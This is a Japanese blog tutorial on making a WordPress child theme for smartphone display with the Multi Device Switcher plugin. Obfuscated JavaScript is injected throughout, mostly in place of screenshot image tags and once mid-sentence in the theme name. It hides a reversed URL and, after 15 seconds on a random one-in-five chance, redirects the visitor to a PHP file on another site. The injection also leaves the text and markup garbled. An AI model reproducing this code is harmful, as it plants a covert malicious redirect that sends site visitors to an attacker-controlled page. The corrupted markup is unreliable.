Sumirexxx

今日もiPhone片手に出かけます

超簡単☆WordPressスマホ最適化!Wptouchをやめて子テーマにしました

WordPress

Wptouchから子テーマ作る方に変えました。
この書き方で伝わるのかな?

子テーマはむずかしそう、って思ってましたが、、、。
いままでなんでできなかったのか不思議なほど簡単でした。

必要な作業は(超大まかに分ければ)2つです。

  • WordPressに、スマホとPC切り替えるプラグインをいれる
  • 親テーマと子テーマを分ける。

あくまでも大まかに分ければ、です。 ポイントはfunction.phpなのです。

順序としてはこれだけ。

もう少し細かく書くとこんな感じ

  1. function.phpに親テーマと子テーマを振り分けるよーと書く!(のちほど詳しく
  2. 元々あるPC表示しているテーマをフォルダごとコピーする。
  3. コピーしたフォルダを、子テーマと決定!名前をつける。
  4. プラグインをいれる
  5. 子テーマを自由にカスタマイズ☆

って感じです。 だいたい流れはつかめたでしょうか? では、早速実践!

親テーマをコピーする

子テーマというからには親テーマがあります。 親テーマは、いまPCで使ってるテーマです。

私のテーマ、名前がdelay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}sampleなんですよねw 全然サンプルじゃないんですけど…。今更かえるのこわいからこのまま使っています。 このテーマとおなじ階層に、ひとつフォルダを作ります。

これが子テーマになります。 フォルダ名をつけます。

テーマコピー$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”600″ height=”440″ />

これでとりあえず子テーマ完了!

function.phpをいじる!

function.php$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”313″ height=”304″ />

function.phpに親テーマと子テーマを振り分けるよー!と書きます。

テーマ追加$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”340″ height=”600″ />

この記述は自分で書いたんじゃないです!
こちらからまるまるいただいたものです。
この記事のおかげで子テーマ作ることができました。 ありがとうございます〜。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?http://mypacecreator.net/blog/archives/1366″ alt=”” width=”150″ height=”130″ />$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de064e;” href=”http://mypacecreator.net/blog/archives/1366″ target=”_blank”>WordPressサイトのスマートホン対応は独自の子テーマ+振り分けプラグインでいくことにした | マイペースクリエイターの覚え書き$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/http://mypacecreator.net/blog/archives/1366″ alt=”” />

WordPressのプラグインを入れる(Multi Device Switcher)

Multi Device Switcherというプラグインを入れます。

ほかにも ・Any Mobile Theme Switcher
・WPtap Mobile Detector っていうプラグインでも良いみたい。
WPtap〜は、私の環境だけなのかわからないけど、文字化け全開でした。

何度か試してもだめだったのでこれを使うのはあきらめました…。

これでOK。 あとは、子テーマを思う存分いじります。
まずはhome画面をいじるとわかりやすいかも? sidebarを削るとか。
それでできたのがこんな感じのスマホ表示なのです。

home.php$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”338″ height=”600″ />

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.php_1.png” alt=”index.php” title=”index.php.PNG” border=”0″ width=”338″ height=”600″ />

いかがだったでしょうか?
細かい設定は自分のオリジナルになってくると思います。
その後私が変更したのは

  • 全体の文字の大きさ
  • Sidebarの記述をカット(また使いたくなったら親テーマからコピーしてくればOK)
  • Instagramの画像をカット(シンプルにしたくて)
  • RSSフィードを削除(Feedlyを入れたので問題ない!はず!)

というような感じです。
いまのところページ遷移もなくしてしまったので、これは復活しないとほかのページ見てもらえないw

ということで、大枠はすぐにできるはずなので試してみてください!
(でも、バックアップは必ず取ってください。作業は自己責任でお願いいたします。
何が起きるかわからないですから!備えあれば…です☆)

この記事をシェアする

<